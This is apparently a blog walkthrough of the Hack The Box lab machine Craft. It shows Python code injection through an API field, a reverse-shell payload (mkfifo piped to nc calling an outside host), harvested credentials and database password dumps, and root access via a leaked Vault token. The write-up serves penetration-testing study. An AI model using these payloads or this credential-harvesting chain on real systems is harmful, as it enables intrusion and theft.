Craft.HTB

Posted: 2020/01/14 in How To's, htb

Walk-Thru for Craft.HTB

 

This is a detailed walk-thru for craft.htb written by dR1PPy

Craft.htb

Overall the host has been graded with a fair rating.
The path to user is not simple, but there are not a lot of rabbit holes to find yourself trapped in.
The path to root was fairly easy if you can catch the clue fast enough.
This was one of those rare machines where I was able to get root access with no privesc scripts.

This machine helped with understanding how to attack python based applications, and working with API’s.
Much thanks to rotarydrone for the challenge!

. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Services Scan

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.110 22 tcp ssh open OpenSSH 7.4p1 Debian 10+deb9u5 protocol 2.0
10.10.10.110 443 tcp ssl/http open nginx 1.15.8
10.10.10.110 6022 tcp ssh open protocol 2.0

So looks like we are dealing with HTTPS & SSH, no UDP based services were found.

Getting User Access

After port scanning we start with a visit to the HTTPS website.
From here we see links to 2 other URL’s which we add to our /etc/hosts

api.craft.htb
gogs.craft.htb

Reviewing both URL’s reveals more information on possible paths to attack.

We are presented with an API which lists its variables in a friendly how to page.

api

And a private code repository

gogs

We explore the Gogs repos and find repository for the API which allows us to read the source code.

After reviewing the code we find some info on how it creates auth tokens.
What DB is being used and what a few test scripts to verify things.
We also find some user credentials which was removed in a previous commit.

gogs-leak

dinesh:4aUh0A8PbVJxgd

We try the credentials for SSH but are unsuccessful. Let’s keep looking at the code.

We also notice from the issues page a weakness was reported around a parameter that allows unsanitized input.

https://gogs.craft.htb/Craft/craft-api/issues/2

Maybe we can use this method to gain access?

Looking again at the test script in which we found our credentials, and we notice it was written to test this specific issue.

https://gogs.craft.htb/Craft/craft-api/raw/master/tests/test.py

So we download the test script and make a few minor modifications to get our attack moving.
We fight with our syntax for a bit but eventually get a shell back using the script below.

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

print(response.text)

# create a sample brew with real ABV... should succeed.
print("Attacking ABV Variable")
brew_dict = {}

# Payloads that have failed [ nc direct calls, wget calls, curl calls, direct /bin/bash calls ]
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 8088 >/tmp/f") & 0.15'

brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

print(response.text)

Ok now we have reverse shell and we see we are root user!?
But we don’t find any user or root flags and some basic commands are not available (dir?)
Could this be a virtual instance or restricted shell?

We quickly validate we are in a docker image.

cat /proc/1/cgroup
10:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c

A quick enumeration of the Craft-API folder and we find an interesting settings file.

/ # find * | grep craft
opt/app/craft_api
opt/app/craft_api/api
opt/app/craft_api/api/auth
opt/app/craft_api/api/auth/__pycache__
opt/app/craft_api/api/auth/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints
opt/app/craft_api/api/auth/endpoints/__pycache__
opt/app/craft_api/api/auth/endpoints/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints/__pycache__/auth.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints/auth.py
opt/app/craft_api/api/auth/endpoints/__init__.py
opt/app/craft_api/api/auth/__init__.py
opt/app/craft_api/api/__pycache__
opt/app/craft_api/api/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/__pycache__/restplus.cpython-36.pyc
opt/app/craft_api/api/__init__.py
opt/app/craft_api/api/brew
opt/app/craft_api/api/brew/__pycache__
opt/app/craft_api/api/brew/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/serializers.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/parsers.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/operations.cpython-36.pyc
opt/app/craft_api/api/brew/parsers.py
opt/app/craft_api/api/brew/endpoints
opt/app/craft_api/api/brew/endpoints/__pycache__
opt/app/craft_api/api/brew/endpoints/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/brew/endpoints/__pycache__/brew.cpython-36.pyc
opt/app/craft_api/api/brew/endpoints/__init__.py
opt/app/craft_api/api/brew/endpoints/brew.py
opt/app/craft_api/api/brew/__init__.py
opt/app/craft_api/api/brew/serializers.py
opt/app/craft_api/api/brew/operations.py
opt/app/craft_api/api/restplus.py
opt/app/craft_api/__pycache__
opt/app/craft_api/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/__pycache__/settings.cpython-36.pyc
opt/app/craft_api/database
opt/app/craft_api/database/__pycache__
opt/app/craft_api/database/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/database/__pycache__/models.cpython-36.pyc
opt/app/craft_api/database/__init__.py
opt/app/craft_api/database/models.py
opt/app/craft_api/__init__.py
opt/app/craft_api/settings.py

And as suspected this file contains valuable data in the form of another set of credentials along with the CRAFT_API_SECRET.

# cat /opt/app/craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Now we can use the dbtest.py script found in the Gogs repo to make use of our new credentials.
We see the cursor is set to select one row which really limits our scope, so we change that to select all rows.
Since nano is not available and vi is useless on this host we also modify the script to take command line variables for our SQL statements.

#!/usr/bin/env python

import pymysql

# test connection to mysql database

connection = pymysql.connect(host="db",
user="craft",
password="qLGockJ6G2J75O",
db="craft",
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = sys.args[1]
cursor.execute(sql)
result = cursor.fetchall()
print(result)

finally:
connection.close()

A quick test verifies it is working as expected.

/tmp # python ./dbtest.py "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
[{'id': 12, 'brewer': '10 Barrel Brewing Company', 'name': 'Pub Beer', 'abv': Decimal('0.050')}]

After some DB enumeration we find the info we are looking for with the following statement.

/tmp # python ./dbtest.py "SELECT * from craft.user"

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

Now we have 3 sets of credentials for the API & possibly gogs
dinesh:4aUh0A8PbVJxgd
ebachman:llJ77D8QFkLPQB
gilfoyle:ZEU3N8WNM2rh4T

We try the credentials for gilfoyle in Gogs and we find another code repo.
This one seems to have some SSH keys stored in the .ssh directory.

https://gogs.craft.htb/gilfoyle/craft-infra/src/master/.ssh

We use the SSH key and the password to get SSH access to the host as gilfoyle.
From here we find our user flag.

Getting Root Access

Even before we start to enumerate the host something stands out.
A hidden token file is found the users home folder

ls -lha
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 .
drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

A quick google search for the file name returns information on one time token system.
We confirm this token file is valid.

gilfoyle@craft:~$ vault token lookup f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Key Value
--- -----
accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
creation_time 1549678834
creation_ttl 0s
display_name root
entity_id n/a
expire_time
explicit_max_ttl 0s
id f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
meta
num_uses 0
orphan true
path auth/token/root
policies [root]
ttl 0s

So after doing some research on how to use vault to authenticate SSH we find the following method to gain root access.

vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 8a4176e6-63a8-819e-b21d-7d725e9755f8
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXX
root@craft:~#

And now that root is owned I have a strange urge to drink some craft beers!
Hope you enjoyed the write up!


Learning Resources Used for Reference in this Attack

Reference for the Python injection attack used to gain initial foothold.
https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html

Reference used to get proper syntax for our initial foothold.
https://gist.githubusercontent.com/compermisos/db8914f5ad1fab6107bb56e7afc5a3c5/raw/55013125f1cd8e78459e6d5d19e16021d3b0a6df/simpleSocket.sh

Reference for identifying docker instances.

How to know you are inside a Docker container

Reference for the changes to the dbtest.py script.
https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursor-fetchall.html

Reference for Vault commands used.
https://www.vaultproject.io/docs/commands/token/lookup.html
https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html

If you enjoyed the challenge give some respect to the creator rotarydrone
https://www.hackthebox.eu/home/users/profile/3067

Not a Reference but Just a Super Cool Tool to Use with HTB Labs
https://github.com/zachhanson94/htbcli

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s